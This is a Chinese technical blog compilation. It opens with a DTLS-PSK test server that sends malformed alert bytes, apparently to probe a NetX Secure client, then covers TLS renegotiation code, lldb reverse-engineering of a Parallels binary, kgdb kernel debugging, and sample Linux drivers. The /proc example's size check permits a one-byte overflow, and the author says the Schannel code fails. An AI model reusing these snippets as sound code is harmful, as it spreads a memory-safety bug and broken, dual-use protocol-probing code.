    SSL_write(ssl, buffer, data_length);

    //SSL_read(ssl, buffer, 0x1000);

    data = buffer;
    *(data) = 0;// not NX_SECURE_TLS_ALERT_LEVEL_WARNING
    *(data + 1) = 1;// not NX_SECURE_TLS_ALERT_CLOSE_NOTIFY
    data_length = 2;
    ssl->method->ssl_write_bytes(ssl, SSL3_RT_ALERT, data, data_length, &written);
}
#pragma pack(pop)

int main(int argc, char** argv)
{
    SSL_CTX* ctx;
    SSL* ssl;
    BIO* bio;
    int ret;

    /* Initialize OpenSSL */
    SSL_library_init();
    SSL_load_error_strings();
    int iResult;
    WSADATA wsaData;

    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        printf("WSAStartup failed: %d\n", iResult);
        return 1;
    }

    /* Create a new DTLS context */
    ctx = SSL_CTX_new(DTLSv1_2_server_method());
    if (ctx == NULL)
    {
        printf("Error creating DTLS context\n");
        return -1;
    }

    /* Set the PSK callback */
    SSL_CTX_set_psk_server_callback(ctx, psk_server_cb);

    //SSL_CTX_set_msg_callback(ctx, message_cb);

    /* Set the cipher list to include only PSK-AES128-CCM8 */
    if (SSL_CTX_set_cipher_list(ctx, "PSK-AES128-CCM8") != 1)
    {
        printf("Error setting cipher list\n");
        return -1;
    }

    /* Create a new socket */
    SOCKET sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0)
    {
        printf("Error creating socket\n");
        return -1;
    }

    /* Bind the socket to the specified port */
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(5784);
    addr.sin_addr.s_addr = INADDR_ANY;
    if (bind(sock, (struct sockaddr*)&addr, sizeof(addr)) < 0)
    {
        printf("Error binding socket, %d\n", GetLastError());
        WSACleanup();
        return -1;
    }

    /* Create a new DTLS connection */
    bio = BIO_new_dgram(sock, BIO_NOCLOSE);
    if (bio == NULL)
    {
        printf("Error creating DTLS connection\n");
        WSACleanup();
        return -1;
    }

    ssl = SSL_new(ctx);
    if (ssl == NULL)
    {
        printf("Error creating DTLS connection\n");
        WSACleanup();
        return -1;
    }

    SSL_set_bio(ssl, bio, bio);

    /* Set the DTLS cookie generation and verification callbacks */
    SSL_CTX_set_cookie_generate_cb(ctx, generate_cookie);
    SSL_CTX_set_cookie_verify_cb(ctx, verify_cookie);

    //BIO_set_callback(bio, send_callback);


    /* Wait for a DTLS client to connect */
    struct sockaddr_storage client_addr = { 0 };
    printf("Waiting for DTLS client to connect...\n");
    do {
        ret = DTLSv1_listen(ssl, (BIO_ADDR *) & client_addr);
        if (ret == -1) {
            printf("Error: %s\n", ERR_error_string(ERR_get_error(), NULL));
        }
    } while (ret <= 0);

    /* Perform the DTLS handshake */
    printf("Performing DTLS handshake...\n");
    if (SSL_accept(ssl) <= 0)
    {
        printf("Error performing DTLS handshake\n");
        WSACleanup();
        return -1;
    }

    printf("DTLS handshake complete\n");

    /* Communicate with the DTLS client */
    /* ... */

    handle_lwm2m_protocol(ssl);

    /* Clean up */
    SSL_free(ssl);
    SSL_CTX_free(ctx);

    return 0;
}

openssl renegotiate

当完成tls握手后, 如果你想触发renegotiate操作, 可以如下操作:

int ret = SSL_renegotiate(ssl);
if (ret) {
    ret = SSL_do_handshake(ssl);// 发送 hello request请求
    if (ret) {
        SSL_read(ssl, buffer, 1024);// 如果目标发的消息没有处理完, 不会进行握手
    }
}

SSL_renegotiate 设置重协商标志, SSL_do_handshake 发送加密的hello request请求. 如果client正常处理, 就应该返回一个加密的hello消息. 后续, 调用SSL_read 来触发新的握手协商. 需要注意的时, 如果连接里有未读取的数据, 需要读到client回执的hello消息时才会触发握手操作!

如果只是想简单测试, 可以用openssl程序实现, 下面的命令加载一个openssl server, 读取密钥和证书, 监听443.

> openssl.exe s_server -accept 443 -cert D:\tmp\cert.pem -key D:\tmp\key.pem
Using default temp DH parameters
ACCEPT

输入r然后按Enter, 就可以让server给client发送重协商操作.

参考:

tls重协商攻击

An Introduction to OpenSSL Programming, Part II of II, 这个文章很老旧了, 代码会有不对的地方.

schannel renegotiate的实现

int Renegotiation(SOCKET Server_Socket) {
    TimeStamp         Lifetime;
    SecBufferDesc     OutBuffDesc;
    SecBuffer         OutSecBuff[2];
    SecBufferDesc     InBuffDesc;
    SecBuffer         InSecBuff[2];
    ULONG             Attribs = 0;
    SECURITY_STATUS           Status;

    int cbIn = 0;

    SecBufferDesc   OutBuffer;
    SecBuffer       OutBuffers[1];
    DWORD           dwSSPIFlags;
    DWORD           dwSSPIOutFlags;

    //DWORD dwType = SCHANNEL_RENEGOTIATE;

    //OutBuffers[0].pvBuffer = &dwType;
    //OutBuffers[0].BufferType = SECBUFFER_TOKEN;
    //OutBuffers[0].cbBuffer = sizeof(dwType);

    //OutBuffer.cBuffers = 1;
    //OutBuffer.pBuffers = OutBuffers;
    //OutBuffer.ulVersion = SECBUFFER_VERSION;

    //Status = ApplyControlToken(&hctxt, &OutBuffer);
    //if (FAILED(Status)) {
    //    SetLastError(Status);
    //    LogError("fail to get controll data");
    //    return 0;
    //}

    dwSSPIFlags = ASC_REQ_SEQUENCE_DETECT |
        ASC_REQ_REPLAY_DETECT |
        ASC_REQ_CONFIDENTIALITY |
        ASC_REQ_EXTENDED_ERROR |
        ASC_REQ_ALLOCATE_MEMORY |
        ASC_REQ_STREAM;

    InSecBuff[0].BufferType = SECBUFFER_EMPTY;
    InSecBuff[0].pvBuffer = NULL;
    InSecBuff[0].cbBuffer = 0;

    InBuffDesc.ulVersion = SECBUFFER_VERSION;
    InBuffDesc.cBuffers = 1;
    InBuffDesc.pBuffers = InSecBuff;

    OutBuffers[0].BufferType = SECBUFFER_TOKEN;
    OutBuffers[0].pvBuffer = NULL;
    OutBuffers[0].cbBuffer = 0;

    OutBuffer.ulVersion = SECBUFFER_VERSION;
    OutBuffer.cBuffers = 1;
    OutBuffer.pBuffers = OutBuffers;

    Status = AcceptSecurityContext(
        &hcred,
        &hctxt,
        &InBuffDesc,
        dwSSPIFlags,
        SECURITY_NATIVE_DREP,
        NULL,
        &OutBuffer,
        &dwSSPIOutFlags,
        &Lifetime);
    if (FAILED(Status)) {
        SetLastError(Status);
        LogError("fail to get hello");
        return 0;
    }
    // 发送hello request 给client, client解密后会是SEC_I_RENEGOTIATE, 会调用InitializeSecurityContext, 然后发送消息过来
    if (!SendBytes(
        Server_Socket,
        (BYTE*)(OutBuffers[0].pvBuffer),
        OutBuffers[0].cbBuffer))
    {
        printf("send message failed. \n");
    }

    if (!ReceiveMsg(// 接收client发来的加密hello消息
        Server_Socket,
        g_pInBuf,
        g_cbMaxMessage,
        &cbIn))
    {
        return(FALSE);
    }

    SecBuffer security_buffers[4] = { 0 };
    SecBufferDesc security_buffers_desc;
    security_buffers[0].BufferType = SECBUFFER_DATA;
    security_buffers[0].pvBuffer = g_pInBuf;
    security_buffers[0].cbBuffer = cbIn;
    security_buffers[1].BufferType = SECBUFFER_EMPTY;
    security_buffers[2].BufferType = SECBUFFER_EMPTY;
    security_buffers[3].BufferType = SECBUFFER_EMPTY;

    security_buffers_desc.cBuffers = sizeof(security_buffers) / sizeof(security_buffers[0]);
    security_buffers_desc.pBuffers = security_buffers;
    security_buffers_desc.ulVersion = SECBUFFER_VERSION;

    Status = DecryptMessage(&hctxt, &security_buffers_desc, 0, NULL);

    if (Status != SEC_I_RENEGOTIATE) {// 解密后应该是SEC_I_RENEGOTIATE消息
        return 0;
    }
    SecBuffer* pDataBuffer = NULL;
    SecBuffer* pExtraBuffer = NULL;
    for (int i = 1; i < 4; i++) {
        if (pDataBuffer == NULL && security_buffers[i].BufferType == SECBUFFER_DATA) {
            pDataBuffer = &security_buffers[i];
        }
        if (pExtraBuffer == NULL && security_buffers[i].BufferType == SECBUFFER_EXTRA) {
            pExtraBuffer = &security_buffers[i];
        }
    }
    //----------------------------------------------------------------
    //  Prepare output buffers.

    OutBuffDesc.ulVersion = SECBUFFER_VERSION;
    OutBuffDesc.cBuffers = 1;
    OutBuffDesc.pBuffers = OutSecBuff;

    OutSecBuff[0].cbBuffer = 0;
    OutSecBuff[0].BufferType = SECBUFFER_TOKEN;
    OutSecBuff[0].pvBuffer = NULL;

    //OutSecBuff[1].cbBuffer = 0;
    //OutSecBuff[1].BufferType = SECBUFFER_EMPTY;
    //OutSecBuff[1].pvBuffer = NULL;

    //----------------------------------------------------------------
    //  Prepare input buffers.

    InBuffDesc.ulVersion = SECBUFFER_VERSION;
    InBuffDesc.cBuffers = 2;
    InBuffDesc.pBuffers = InSecBuff;

    InSecBuff[0].cbBuffer = pExtraBuffer->cbBuffer;
    InSecBuff[0].BufferType = SECBUFFER_TOKEN;
    InSecBuff[0].pvBuffer = pExtraBuffer->pvBuffer;
    InSecBuff[1].cbBuffer = 0;
    InSecBuff[1].BufferType = SECBUFFER_EMPTY;
    InSecBuff[1].pvBuffer = NULL;

    printf("Token buffer received (%lu bytes):\n", InSecBuff[0].cbBuffer);
    PrintHexDump(InSecBuff[0].cbBuffer, (PBYTE)InSecBuff[0].pvBuffer);

    Status = AcceptSecurityContext( 
        &hcred,
        &hctxt,
        &InBuffDesc,
        dwSSPIFlags,
        SECURITY_NATIVE_DREP,// not used according doc
        &hctxt,
        &OutBuffDesc,
        &dwSSPIFlags,
        &Lifetime);
// 这里会出错, 不清楚原因.
    if (Status & 0x80000000) {
        LogError("fail to say hello");
        return 0;
    }
    ......

这段代码应该是这么写的, 但是我自己跑的时候, 在第二次的AcceptSecurityContext会遇到解密错误, 暂时不清楚原因, 但是网络上又找不到相关的实现做一个参考, 所以列出来希望对人有帮助.

参考:

Schannel and Session Renegotiation

Renegotiating an Schannel Connection

cmake

获取某个git项目下的依赖git项目: git submodule update --init --recursive

cmake -DXXXX=ON ./ 表示开启XXXX特性, 生成makefile. XXXX特性由CMakeLists.txt定义, 形式如下:

1	option(suppress_header_searches "do not try to find headers - used when compiler check will fail" OFF)

表示接受参数-Dsuppress_header_searches=ON, 默认是OFF.

生成makefile后, 执行cmake --build .编译

lldb 命令简介

2023-02-22T11:54:44.212Z

查看模块基址

1 2	(lldb) image list \|grep prl_vm_app [ 0] 08F2E3D7-D9F0-38E9-BA1F-0CA1E42095DE 0x000000010ca07000 /Applications/Parallels Desktop.app/Contents/MacOS/Parallels VM.app/Contents/MacOS/prl_vm_app

搜索符号位置

1	(lldb) image lookup -n funcname

下断点

br set -a 0xXXXXXXXX 对地址下断点
br set -f filename -l line
br set -n viewDidLoad
br set -n "[类名 方法名]"
br list 列出断点
br disa 禁用所有
br en 3 启用断点3

如果需要添加条件, 在最后添加-c "width > 68", 条件为width > 68.

断点命令

(lldb) br com add 1
Enter your debugger command(s).  Type 'DONE' to end.
> p i
> bt
> DONE

条件断点

1
2
3

w s e -- 0x123456
w s e -s 2 -- 0x123456
w s e -w read/write -s 2 -- 0x123456

查看寄存器

reg read, reg read rax

反汇编

显示指定地址的汇编

(lldb) dis -s $pc

也可以用x/i

通过(lldb) help arch获取支持的架构, 然后(lldb) dis -A arm -s $pc

单步

si, ni, fin等

设置变量

expr long $test = 12

p $test=123

读取和修改内存

x/10gx addr, ‘c, b, w, d, g’

memory write -s 2 'bytes' 1 2 3 4

自定义命令

1.别名(alias),使用简单,但是这个只能用来实现没有输入的命令
2.正则命令(command regex),可以通过正则表达式来捕获输入,并且将其应用到命令中.但是这个在执行多行命令的时候非常不方便,并且,这个只能有一个输入参数.
3.桥接脚本(script bridging) 基于python,这个很好的权衡了方便和复杂性.并且可以做任何LLDB能做的事情.

针对第三种:

在命令行直接运行:

1 2	script import sys script print (sys.version)

在文件test.py中创建:

def findclass(debugger,command,result,internal_dict):
    print("hello lldb")
    # command 为输入

def __lldb_init_module(debugger, internal_dict):
    debugger.HandleCommand('command script add -f findclass.findclass testcmd')

然后在lldb中引用command script import ~/test.py

调试

参考Remote Debugging

远程调试

./lldb-server platform --listen "*:1234" --server

进入lldb client端
(lldb) platform status # 查看平台状态
(lldb) platform list
(lldb) platform select remote-freebsd
  Platform: remote-freebsd
 Connected: no
(lldb) platform connect connect://192.168.1.8:1234
  Platform: remote-freebsd
    Triple: arm-unknown-linux-unknown
OS Version: 5.10.93 (5.10.93)
  Hostname: localhost
 Connected: yes
WorkingDir: /
    Kernel: #1 SMP Wed Dec 7 15:20:41 CST 2022
(lldb)

更改workingdir

1	(lldb) platform settings -w /usr/local/bin

将本地文件推送到目的机器运行

1 2	(lldb) file a.out (lldb) run

attach

1
2
3

file  [target_binary] # 指定将要调试的二进制文件,注意是相对于WorkingDir的路径
platform process list # 查看一直远端的进程, 找到目标进程pid, 或者名称
attach 9053

将本地文件推到目的机器指定目录

(lldb) file a.out
(lldb) script lldb.target.module['a.out'].SetPlatformFileSpec("/bin/a.out")
# 如果要包含模块
(lldb) target module add /local/build/libfoo.so # 本地地址
(lldb) script lldb.target.module['libfoo.so'].SetPlatformFileSpec("/usr/lib/libfoo.so")

Linux双虚拟机调试及自定义驱动示例

2023-02-22T11:54:44.196Z

本文章主要简介如何准备vmware的双机调试, 并示例了一些简单的驱动编写和调试信息

准备内核

linux kernel source

配置虚拟机

新建一个虚拟机
添加串口, 并做如下配置

此虚拟机作为被调试机

克隆虚拟机

修改串口设备的配置,设定为”该端为客户端”, 此为调试机

在被调试机编译内核

解压内核

1 2	tar jxvf linux-2.6.26.tar.bz2 cd linux-*

安装组件

1	sudo apt-get install libncurses-dev gawk flex bison openssl libssl-dev dkms libelf-dev libudev-dev libpci-dev libiberty-dev autoconf

配置编译参数

1	make menuconfig

可能的错误

error: curses.h: No such file or directory
基于Debian的发行版（如Debian、Ubuntu）：sudo apt-get install libncurses5-dev
基于Red Hat的发行版（如RHEL、CentOS）：sudo yum install ncurses-devel

如果出现找不到该包，尝试以下设置：
vi  /etc/apt/source.list
添加其它系统的源[源列表地址](http://mirrors.163.com/.help/debian.html)
比如kali,我添加的debian jessie的源

如果提示窗口太小出错,说明你的命令行窗口小了,放大一点再试试.
内核调试需要做如下设置:

Kernel Hacking –>
   compile-time checks and compiler options –>
       [*] Compile the kernel with debug info
       [*] Compile the kernel with frame pointers
   [*] kernel debugging
   [*] KGDB: kernel debugger–>
       <*> KGDB: use kgdb over the serial console

完成上述选项后, 直接save后推出.

编译内核

make -j 4 bzImage # -j 代表用多少线程, 不要超过cpu的最大线程数
make modules
make modules_install
make install

修改启动表
打开 /boot/grub/grub.conf (如果不存在, 就改grub.cfg文件)
针对 grub.conf

 1 # grub.conf generated by anaconda
 2 #
 3 # Note that you do not have to rerun grub after making changes to this file
 4 # NOTICE:  You have a /boot partition.  This means that
 5 #          all kernel and initrd paths are relative to /boot/, eg.
 6 #          root (hd0,0)
 7 #          kernel /vmlinuz-version ro root=/dev/VolGroup00/LogVol00
 8 #          initrd /initrd-version.img
 9 #boot=/dev/hda
10 default=0
11 timeout=5
12 splashimage=(hd0,0)/grub/splash.xpm.gz
13 hiddenmenu
14 title CentOS (2.6.26)
15     root (hd0,0)
16     kernel /vmlinuz-2.6.26 ro root=/dev/VolGroup00/LogVol00   
17     initrd /initrd-2.6.26.img
18 title CentOS-4 i386 (2.6.9-67.ELsmp)
19     root (hd0,0)
20     kernel /vmlinuz-2.6.9-67.ELsmp ro root=/dev/VolGroup00/LogVol00   <---------------------
21     initrd /initrd-2.6.9-67.ELsmp.img

在kernel那一行末尾添加 “kgdboc=ttyS0,115200 nokaslr”

nokaslr是禁用内核的kaslr机制, 避免某些情况下内核地址随机化导致gdb没办法识别源码. 更多命令可以参考Using kgdb, kdb and the kernel debugger internals

如下图:

针对 grub.cfg:

menuentry 'Ubuntu, with Linux 3.8.0-19-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.8.0-19-generic-advanced-af5e68c6-4f1f-494e-8c35-fc0911ec3564' {
recordfail
  load_video
  gfxmode $linux_gfx_mode
  insmod gzio
  insmod part_msdos
  insmod ext2
  set root='hd0,msdos1'
  if [ x$feature_platform_search_hint = xy ]; then
    search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1  af5e68c6-4f1f-494e-8c35-fc0911ec3564
  else
    search --no-floppy --fs-uuid --set=root af5e68c6-4f1f-494e-8c35-fc0911ec3564
  fi
  echo  'Loading Linux 3.8.0-19-generic ...'
  linux /boot/vmlinuz-3.8.0-19-generic root=UUID=af5e68c6-4f1f-494e-8c35-fc0911ec3564 ro find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US  kgdboc=ttyS0,115200  kgdbwait  quiet 
  ^
  |
  -------------
  echo  'Loading initial ramdisk ...'
  initrd  /boot/initrd.img-3.8.0-19-generic
}

在新内核对应的内容下添加 “kgdboc=ttyS0,115200”

测试双机调试

开启两个虚拟机, 在被调试机上运行命令

1	echo hello >/dev/ttyS0

在调试机上运行

1	cat /dev/ttyS0

如果调试机没有收到消息, 就实时用/dev/ttyS1, 多试两下就行
如果成功了, 记得改grub的配置.

开始调试

如果grub没有配置”kgdbwait”参数, 就在被调试机开机后输入

1	echo g >/proc/sysrq-tirgger

在调试机里

$ gdb linux-3.18.34/vmlinux
.....
(gdb) set remotebaud 115200
(gdb) target remote /dev/ttyS0

Remote debugging using /dev/ttyS0
kgdb_breakpoint () at kernel/kgdb.c:1674
1674    wmb(); /*Sync point after breakpoint */
warning: shared library handler failed to enable breakpoint

(gdb)

如果”set remotebaud 115200”的时候出错,就换成”set serial baud 115200”

调试自定义驱动

一个简单的驱动文件可以是如下形式(test.c):

#include  
#include  
#include 
#include  
MODULE_LICENSE("GPL"); 


int my_module_init(void){
  printk("module init done\n");
  return 0;
}

void my_module_exit(void){
  printk("module exit\n");
  return;
}

module_init( my_module_init );//声明初始化函数
module_exit( my_module_exit );

Makefile 文件内容如下:

obj-m += test.o
KDIR:=/lib/modules/$(shell uname -r)/build
MAKE:=make  
default:  
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules  
clean:  
$(MAKE) -C $(KDIR) SUBDIRS=$(PWD) clean

注意, $(MAKE)前是tab, 不是空格! 高版本的gcc 需要把SUBDIRS替换成M
驱动的其它提示可以参考我的”Linux 使用技巧” 文章的关于linux驱动的部分

准备编译环境并编译安装驱动:

1
2
3

root@ubuntu:/home/vv# apt install bison flex gcc autoconf -y
root@ubuntu:/home/vv# make
root@ubuntu:/home/vv# insmod test.ko

如果想在加载驱动时拦截, 可以考虑在module_init里的入口函数处添加一个int3断点 asm(".byte 0xcc");实现.

如果想带符号, 假设我们要调试带符号的kvm.ko驱动, 首先在被调试机上通过cat /proc/modules|grep获取驱动基址:

1
2
3

root@ubuntu:/home/vv# cat /proc/modules |grep kvm
kvm_intel 294912 0 - Live 0xffffffffc066c000
kvm 843776 1 kvm_intel, Live 0xffffffffc055e000

此处可以看到, kvm的基址是0xffffffffc055e000.
然后通过echo g >/proc/sysrq-tirgger 使内核中断.
然后在调试器里输入以下命令添加符号:

gdb$ add-symbol-file arch/x86/kvm/kvm.ko 0xffffffffc055e000
add symbol table from file "arch/x86/kvm/kvm.ko" at
        .text_addr = 0xffffffffc055e000
Reading symbols from arch/x86/kvm/kvm.ko...
gdb$

这代表我们添加成功了. 也可以索引到kvm的符号了.

简单的e1000网卡驱动示例

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define LOG "MYMOD:"
char e1000_driver_name[] = "t_e1000e";
static const struct pci_device_id e1000_pciid_table[] = {
    { PCI_VDEVICE(INTEL, 0x10D3), 3 },//E1000_DEV_ID_82574L) , board_82574
    {0}
};

struct E1000_ADAPTER {
    u8 *hw_addr0;
    u8 *hw_addr1;
} *adapter=NULL;


#define LOGTAG "TEST: "
void klog(char *fmt, ...){
    char textbuf[1024-32];
    va_list args;
    u32 len = 0;
    char *tmp = fmt;
    va_start(args, fmt);

    while(*tmp){
        len++;
        tmp++;
    }

    memcpy(textbuf, LOGTAG, sizeof(LOGTAG)-1);
    memcpy(textbuf + sizeof(LOGTAG) - 1, fmt, len);
    memcpy(textbuf + sizeof(LOGTAG) + len - 1, "\n", 2);
    vprintk(textbuf, args);
    va_end(args);

    return ;
}

static int e1000_probe_device(struct pci_dev *pdev,
             const struct pci_device_id *id)
{// 3. 触发探测函数后, 操作因设备而异, 但是大同小异.
    unsigned long mmio_start, mmio_len;
    u64 dma;
    int err = pci_enable_device_mem(pdev);// 4. enable mem

    printk("probe device\n");
    if(err){
        printk(LOG"fail to enable device!\n");
        return err;
    }
    err = pci_request_selected_regions_exclusive(pdev,
                                      pci_select_bars(pdev, 0x200),
                                      e1000_driver_name);//IORESOURCE_MEM 5. 激活设备的IOport/IOmem
    if (err) {
        printk(LOG"Failed to request region for adapter\n");
        return err;
    }

    adapter=dma_zalloc_coherent(&pdev->dev, sizeof(struct E1000_ADAPTER), &dma,
                     GFP_KERNEL);;
    if(!adapter){
        printk(LOG"Failed to alloc adapter\n");
        return -1;
    }

    pci_set_master(pdev);

    mmio_start = pci_resource_start(pdev, 0);// 因为e1000网卡有两个bar,所以此处需要映射bar0和bar1
    mmio_len = pci_resource_len(pdev, 0);

    adapter->hw_addr0 = ioremap(mmio_start, mmio_len);// 6. 映射设备IOmem
    if (!adapter->hw_addr0) {
        printk("Map 0 fail\n");
        return 0;
    }

    mmio_start = pci_resource_start(pdev, 1);
    mmio_len = pci_resource_len(pdev, 1);

    adapter->hw_addr1 = ioremap(mmio_start, mmio_len);
    if (!adapter->hw_addr1) {
        printk("Map 1 fail\n");
        return 0;
    }
    // 7. 初始化好IO资源以后, 就可以开始其它初始化操作了
    e1000_start(pdev);
    return 0;
}

void e1000_remove_device(struct pci_dev *pdev){
    printk("removed device!\n");
    if(adapter){
        if(adapter->hw_addr0)
            iounmap(adapter->hw_addr0);
        if(adapter->hw_addr1)
            iounmap(adapter->hw_addr1);
    }
    pci_release_selected_regions(pdev,
                                 pci_select_bars(pdev, 0x200));//IORESOURCE_MEM
    pci_disable_device(pdev);
}

void e1000_shutdown_device(struct pci_dev *pdev){
    //do nothing
    return;
}

static struct pci_driver e1000_driver = {// 1. 准备驱动描述符
    .name       = e1000_driver_name,// 包括驱动名称
    .id_table   = e1000_pciid_table,// 硬件id
    .probe      = e1000_probe_device,// 硬件被识别后,第一次调用到的探测函数
    .remove     = e1000_remove_device,
    .shutdown   = e1000_shutdown_device,
};

int main_init(void){
    int err = pci_register_driver(&e1000_driver);// 2. 注册驱动, 当识别到注册的硬件id后, 就会调用probe函数.
    printk(LOG"mod init!\n");
    return err;
}

void main_exit(void){
    pci_unregister_driver(&e1000_driver);
    printk(LOG"mod exit!\n");
    if(adapter){
        kfree(adapter);
    }
    return;
}

module_init(main_init);
module_exit(main_exit);

linux 内核和用户态通信之 /proc文件系统

2023-02-22T11:54:44.196Z

/proc 文件系统是一个虚拟文件系统，通过它可以使用一种新的方法在 Linux® 内核空间和用户空间之间进行通信。在 /proc 文件系统中，我们可以将对虚拟文件的读写作为与内核中实体进行通信的一种手段，但是与普通文件不同的是，这些虚拟文件的内容都是动态创建的.

/proc 文件系统包含了一些目录（用作组织信息的方式）和虚拟文件。虚拟文件可以向用户呈现内核中的一些信息，也可以用作一种从用户空间向内核发送信息的手段。

创建一个/proc文件

在3.8内核之前,使用create_proc_entry创建一个文件,原型如下:

struct proc_dir_entry *create_proc_entry( const char *name, mode_t mode,
                                             struct proc_dir_entry *parent );//创建一个虚拟文件
struct proc_dir_entry {
  const char *name;     // 节点名称
  mode_t mode;        // 权限,与chmod的一样,可以使用八进制表示
  uid_t uid;        // File's user id
  gid_t gid;        // File's group id
  struct inode_operations *proc_iops; // 索引节点操作函数
  struct file_operations *proc_fops;  // 文件操作函数
  struct proc_dir_entry *parent;    // 父目录,如果是NULL,就代表/proc目录
  ...
  read_proc_t *read_proc;     // 输出给cat的函数
  write_proc_t *write_proc;   // 读取用户输入的函数
  void *data;       // 指向private 数据
  atomic_t count;       // 使用计数
  ...
};
void remove_proc_entry( const char *name, struct proc_dir_entry *parent );//不仅可以删除节点,还能删除proc_mkdir创建的目录
struct proc_dir_entry *proc_mkdir(const char *name,
      struct proc_dir_entry *parent);  //创建一个虚拟目录

parent 参数可以为 NULL（表示 /proc 根目录），也可以是很多其他值

proc_dir_entry	在文件系统中的位置
proc_root_fs	/proc
proc_net	/proc/net
proc_bus	/proc/bus
proc_root_driver	/proc/driver

如果我们想创建一个文件为test_modul的虚拟文件,就这样初始化

create_proc_entry( "test_module", 0644, NULL );
或者
pt_root = proc_mkdir("test_menu", NULL);
pt_entry1 = create_proc_entry(USER_ENTRY1, 0666, pt_root);

/proc文件交互函数

read_proc 供用户读取的函数

int mod_read( char *page,//数据写入的位置,该page缓冲区在内核
            char **start,
               off_t off,
               int count,//定义写入的最大字节数
                int *eof, //当数据写入完后,需要设置为1
              void *data //private 数据
              );

当需要写入多页数据时(一般一页4Kb),需要用到 start,off.

write_proc 读取用户的输入

int mod_write( struct file *filp, //指向一个打开的文件结构
         const char __user *buff, //用户输入的数据,buff在用户空间,内核要读取需要用到copy_from_user
               unsigned long len, //长度
                      void *data 
);

其它需要用到的函数

/* 创建一个符号链接 */
struct proc_dir_entry *proc_symlink( const char *name,
                                       struct proc_dir_entry *parent,
                                       const char *dest );
/* Create a proc_dir_entry with a read_proc_t in one call */
struct proc_dir_entry *create_proc_read_entry( const char *name,
                                                  mode_t mode,
                                                  struct proc_dir_entry *base,
                                                  read_proc_t *read_proc,
                                                  void *data );
/* 从内核空间复制数据到用户空间 */
unsigned long copy_to_user( void __user *to,
                              const void *from,
                              unsigned long n );
/* 从用户空间到内核 */
unsigned long copy_from_user( void *to,
                                const void __user *from,
                                unsigned long n );
/* 创建虚拟的连续内存块 */
void *vmalloc( unsigned long size );
/* 释放vmalloc创建的块 */
void vfree( void *addr );
/* Export a symbol to the kernel (make it visible to the kernel) */
EXPORT_SYMBOL( symbol );
/* Export all symbols in a file to the kernel (declare before module.h) */
EXPORT_SYMTAB

创建内核驱动

#include 
/* Defines the license for this LKM */
MODULE_LICENSE("GPL");

int my_module_init( void )//自定义的初始化函数
{
  printk(KERN_INFO "my_module_init called.  Module is now loaded.\n");
  return 0;
}

void my_module_cleanup( void )//自定义的退出函数
{
  printk(KERN_INFO "my_module_cleanup called.  Module is now unloaded.\n");
  return;
}

module_init( my_module_init );//声明初始化函数
module_exit( my_module_cleanup );//声明退出函数

从3.10内核开始,create_proc_entry() 函数被替换成proc_create() 函数, 函数区别如下:
修改前

struct proc_dir_entry *proc_file = create_proc_entry("file",0600,NULL);
if (proc_file) {
        proc_file->read_proc = file_read;  
        proc_file->write_proc = file_write;
        proc_file->owner = THIS_MODULE;
}

修改后

struct file_operations proc_fops=
{
    .read=file_read,
    .write=file_write,
    .owner=THIS_MODULE,
};

proc_file = proc_create("file", 0600, proc_dir, &proc_fops);

编译安装驱动

Makefile

obj-m += simple-km.o

all:    
make -C /lib/modules/`uname -r`/build SUBDIRS=$(PWD) modules

clean:  
make -C /lib/modules/`uname -r`/build SUBDIRS=$(PWD) modules

开头的是tab, 不是空格, 一定要注意

执行如下命令

$ make
$ insmod simple-km.ko 
$ dmesg | tail -5      查看最后5行信息
$ lsmod
$ rmmod simple-km.ko

一个简单的示例

#include 
#include 
#include 
#include 
#include 
#include 
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Fortune Cookie Kernel Module");
MODULE_AUTHOR("VictorV");
#define MAX_COOKIE_LENGTH       PAGE_SIZE
static struct proc_dir_entry *proc_entry;
static char *cookie_pot;  // 内存缓冲区
static int cookie_index;  // 指向缓冲区的数据尾部
static int next_fortune;  // 通过\0分开字符串,此处用来指向下一个需要输出的缓冲字符串

ssize_t fortune_write( struct file *filp,
                const char __user *buff,
                unsigned long len, 
                void *data )
{
  int space_available = (MAX_COOKIE_LENGTH-cookie_index)+1;
  if (len > space_available) {
    printk(KERN_INFO "fortune: cookie pot is full!\n");
    return -ENOSPC;
  }
  if (copy_from_user( &cookie_pot[cookie_index], buff, len )) {
  //从用户空间读取数据到cookie_pot,
    return -EFAULT;
  }
  cookie_index += len;
  cookie_pot[cookie_index-1] = 0;//将最后一位置零
  return len;
}

int fortune_read( char *page, char **start, off_t off,int count, int *eof, void *data ){
  int len;
  if (off > 0) {
    *eof = 1;
    return 0;
  }
  if (next_fortune >= cookie_index) next_fortune = 0;//超过数据个数,就循环读取
  len = sprintf(page, "%s\n", &cookie_pot[next_fortune]);//将一段字符串写入page
  next_fortune += len;
  return len;
}

int init_fortune_module( void )//初始化
{
  int ret = 0;
  cookie_pot = (char *)vmalloc( MAX_COOKIE_LENGTH );//申请一段内核空间
  if (!cookie_pot) {
    ret = -ENOMEM;
  } else {
    memset( cookie_pot, 0, MAX_COOKIE_LENGTH );
    proc_entry = create_proc_entry( "fortune", 0644, NULL );
    if (proc_entry == NULL) {
      ret = -ENOMEM;
      vfree(cookie_pot);
      printk(KERN_INFO "fortune: Couldn't create proc entry\n");
    } else {
      cookie_index = 0;
      next_fortune = 0;
      proc_entry->read_proc = fortune_read;//这里定义输出函数
      proc_entry->write_proc = fortune_write;//定义输入函数
      proc_entry->owner = THIS_MODULE;
      printk(KERN_INFO "fortune: Module loaded.\n");
    }
  }
  return ret;
}
void cleanup_fortune_module( void )
{
  remove_proc_entry("fortune", &proc_root);
  vfree(cookie_pot);
  printk(KERN_INFO "fortune: Module unloaded.\n");
}
module_init( init_fortune_module );
module_exit( cleanup_fortune_module );

效果:

[root@plato]# insmod fortune.ko
[root@plato]# echo "Success is an individual proposition.  
          Thomas Watson" > /proc/fortune
[root@plato]# echo "If a man does his best, what else is there?  
                Gen. Patton" > /proc/fortune
[root@plato]# echo "Cats: All your base are belong to us.  
                      Zero Wing" > /proc/fortune
